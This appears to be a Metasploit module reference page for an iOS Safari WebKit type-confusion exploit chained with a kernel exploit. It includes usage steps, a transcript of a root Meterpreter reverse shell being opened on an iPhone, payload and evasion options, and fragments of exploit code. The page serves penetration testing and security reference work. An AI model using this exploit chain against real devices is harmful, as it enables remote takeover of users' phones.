Safari Webkit Proxy Object Type Confusion - Metasploit
This page contains detailed information about how to use the exploit/apple_ios/browser/webkit_createthis metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Safari Webkit Proxy Object Type Confusion
Module: exploit/apple_ios/browser/webkit_createthis
Source code: modules/exploits/apple_ios/browser/webkit_createthis.rb
Disclosure date: 2018-03-15
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): aarch64
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-13861, CVE-2018-4233
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution. The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/apple_ios/browser/webkit_createthis
msf exploit(webkit_createthis) > exploit
Knowledge Base
Description
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233).
The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution.
The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload.
Vulnerable Application
The exploit should work all 64-bit devices (iPhone 5S and newer) running iOS 10 up to iOS 11.2.
Verification Steps
- Start msfconsole
use exploit/apple_ios/browser/webkit_createthis
set LHOST
andSRVHOST
as appropriate- exploit
- Browse to the given URL with a vulnerable device from Safari
- Note that the payload is specially created for this exploit, due to sandbox limitations that prevent spawning new processes.
Scenarios
64bit iPhone 5S running iOS 10.2.1
msf5 exploit(apple_ios/browser/webkit_createthis) > exploit
[*] Started reverse TCP handler on 192.168.1.51:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.51:8080/
[*] Server started.
[*] 192.168.1.34 webkit_createthis - Requesting / from Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
[*] 192.168.1.34 webkit_createthis - Requesting /exploit from Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
[+] 192.168.1.34 webkit_createthis - Sent async_wake exploit
[+] 192.168.1.34 webkit_createthis - Sent sha1 iOS 10 payload
[*] Meterpreter session 1 opened (192.168.1.51:4444 -> 192.168.1.34:49211) at 2019-04-15 11:34:01 +0200
msf5 exploit(apple_ios/browser/webkit_createthis) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter aarch64/apple_ios uid=0, gid=0, euid=0, egid=0 @ 192.168.1.34 192.168.1.51:4444 -> 192.168.1.34:49211 (192.168.1.34)
msf5 exploit(apple_ios/browser/webkit_createthis) > sessions 1
[*] Starting interaction with 1...
meterpreter > pwd
/System/Library/Frameworks/WebKit.framework/XPCServices/com.apple.WebKit.WebContent.xpc
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
Go back to menu.
Msfconsole Usage
Here is how the apple_ios/browser/webkit_createthis exploit module looks in the msfconsole:
msf6 > use exploit/apple_ios/browser/webkit_createthis
[*] Using configured payload apple_ios/aarch64/meterpreter_reverse_tcp
msf6 exploit(apple_ios/browser/webkit_createthis) > show info
Name: Safari Webkit Proxy Object Type Confusion
Module: exploit/apple_ios/browser/webkit_createthis
Platform: Apple_iOS
Arch: aarch64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2018-03-15
Provided by:
saelo
niklasb
Ian Beer
siguza
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a type confusion bug in the Javascript Proxy
object in WebKit. The DFG JIT does not take into account that,
through the use of a Proxy, it is possible to run arbitrary JS code
during the execution of a CreateThis operation. This makes it
possible to change the structure of e.g. an argument without causing
a bailout, leading to a type confusion (CVE-2018-4233). The type
confusion leads to the ability to allocate fake Javascript objects,
as well as the ability to find the address in memory of a Javascript
object. This allows us to construct a fake JSCell object that can be
used to read and write arbitrary memory from Javascript. The module
then uses a ROP chain to write the first stage shellcode into
executable memory within the Safari process and kick off its
execution. The first stage maps the second stage macho (containing
CVE-2017-13861) into executable memory, and jumps to its entrypoint.
The CVE-2017-13861 async_wake exploit leads to a kernel task port
(TFP0) that can read and write arbitrary kernel memory. The
processes credential and sandbox structure in the kernel is
overwritten and the meterpreter payloads code signature hash is
added to the kernels trust cache, allowing Safari to load and
execute the (self-signed) meterpreter payload.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-4233
https://nvd.nist.gov/vuln/detail/CVE-2017-13861
https://github.com/saelo/cve-2018-4233
https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1
https://bugs.chromium.org/p/project-zero/issues/detail?id=1417
https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js
Module Options
This is a complete list of options available in the apple_ios/browser/webkit_createthis exploit:
msf6 exploit(apple_ios/browser/webkit_createthis) > show options
Module options (exploit/apple_ios/browser/webkit_createthis):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (apple_ios/aarch64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the apple_ios/browser/webkit_createthis exploit:
msf6 exploit(apple_ios/browser/webkit_createthis) > show advanced
Module advanced options (exploit/apple_ios/browser/webkit_createthis):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DEBUG_EXPLOIT false no Show debug information in the exploit javascript
DUMP_OFFSETS false no Show newly found offsets in a javascript prompt
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (apple_ios/aarch64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the apple_ios/browser/webkit_createthis module can exploit:
msf6 exploit(apple_ios/browser/webkit_createthis) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the apple_ios/browser/webkit_createthis exploit:
msf6 exploit(apple_ios/browser/webkit_createthis) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/apple_ios/aarch64/meterpreter_reverse_http normal No Apple_iOS Meterpreter, Reverse HTTP Inline
1 payload/apple_ios/aarch64/meterpreter_reverse_https normal No Apple_iOS Meterpreter, Reverse HTTPS Inline
2 payload/apple_ios/aarch64/meterpreter_reverse_tcp normal No Apple_iOS Meterpreter, Reverse TCP Inline
3 payload/apple_ios/aarch64/shell_reverse_tcp normal No Apple iOS aarch64 Command Shell, Reverse TCP Inline
4 payload/generic/custom normal No Custom Payload
5 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
6 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the apple_ios/browser/webkit_createthis exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(apple_ios/browser/webkit_createthis) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
69: def get_version(user_agent)
70: if user_agent =~ /OS (.*?) like Mac OS X\)/
71: ios_version = Rex::Version.new($1.gsub("_", "."))
72: return ios_version
73: end
74: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
75: end
76:
77: def on_request_uri(cli, request)
78: if request.uri =~ %r{/apple-touch-icon*}
79: return
Error
Here is a relevant code snippet related to the "Error" error message:
1003: try {
1004: if (req.responseType != "arraybuffer") throw "y u no blob";
1005: payload.set(new Uint8Array(req.response), 0x0);
1006: pwn();
1007: } catch (e) {
1008: fail("Error: " + e + (e != null ? " " + e.stack : ""))
1009: }
1010: });
1011: req.addEventListener("error", function(ev) {
1012: fail(ev)
1013: });
error
Here is a relevant code snippet related to the "error" error message:
1006: pwn();
1007: } catch (e) {
1008: fail("Error: " + e + (e != null ? " " + e.stack : ""))
1009: }
1010: });
1011: req.addEventListener("error", function(ev) {
1012: fail(ev)
1013: });
1014: req.send()
1015: } catch (e) {
1016: fail("Error: " + e + (e != null ? " " + e.stack : ""))
Error
Here is a relevant code snippet related to the "Error" error message:
1011: req.addEventListener("error", function(ev) {
1012: fail(ev)
1013: });
1014: req.send()
1015: } catch (e) {
1016: fail("Error: " + e + (e != null ? " " + e.stack : ""))
1017: }
1018: };
1019:
1020: go();
1021:
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13996 Merged Pull Request: Add module for CVE-2020-9801, CVE-2020-9850 and CVE-2020-9856, RCE for Safari on macOS 10.15.3 (pwn2own2020)
- #12079 Merged Pull Request: No effing idea
- #11477 Merged Pull Request: CVE-2018-4233 and async_wait for iOS 10 to 11.2
References
- CVE-2018-4233
- CVE-2017-13861
- https://github.com/saelo/cve-2018-4233
- https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1417
- https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js
See Also
Check also the following modules related to this module:
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/apple_ios/browser/webkit_trident
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/apple_ios/ssh/cydia_default_ssh
- payload/apple_ios/aarch64/meterpreter_reverse_http
- payload/apple_ios/aarch64/meterpreter_reverse_https
- payload/apple_ios/aarch64/meterpreter_reverse_tcp
- payload/apple_ios/aarch64/shell_reverse_tcp
- payload/apple_ios/armle/meterpreter_reverse_http
- payload/apple_ios/armle/meterpreter_reverse_https
- payload/apple_ios/armle/meterpreter_reverse_tcp
- post/apple_ios/gather/ios_image_gather
- post/apple_ios/gather/ios_text_gather
- post/multi/gather/apple_ios_backup
- exploit/osx/browser/safari_proxy_object_type_confusion
- auxiliary/server/webkit_xslt_dropper
- auxiliary/dos/http/webkitplus
Related Nessus plugins:
- Apple iOS < 11.2 Multiple Vulnerabilities
- Apple TV < 11.2 Multiple Vulnerabilities
- Apple TV < 11.4 Multiple Vulnerabilities
- Apple iTunes < 12.7.5 Multiple Vulnerabilities (uncredentialed check)
- Apple iTunes < 12.7.5 Multiple Vulnerabilities (credentialed check)
- Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL)
- Ubuntu 16.04 LTS / 17.10 / 18.04 LTS : WebKitGTK+ vulnerabilities (USN-3687-1)
- Fedora 27 : webkitgtk4 (2018-aac3ca8936)
- openSUSE Security Update : webkit2gtk3 (openSUSE-2018-845)
- GLSA-201808-04 : WebkitGTK+: Multiple vulnerabilities
Authors
- saelo
- niklasb
- Ian Beer
- siguza
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.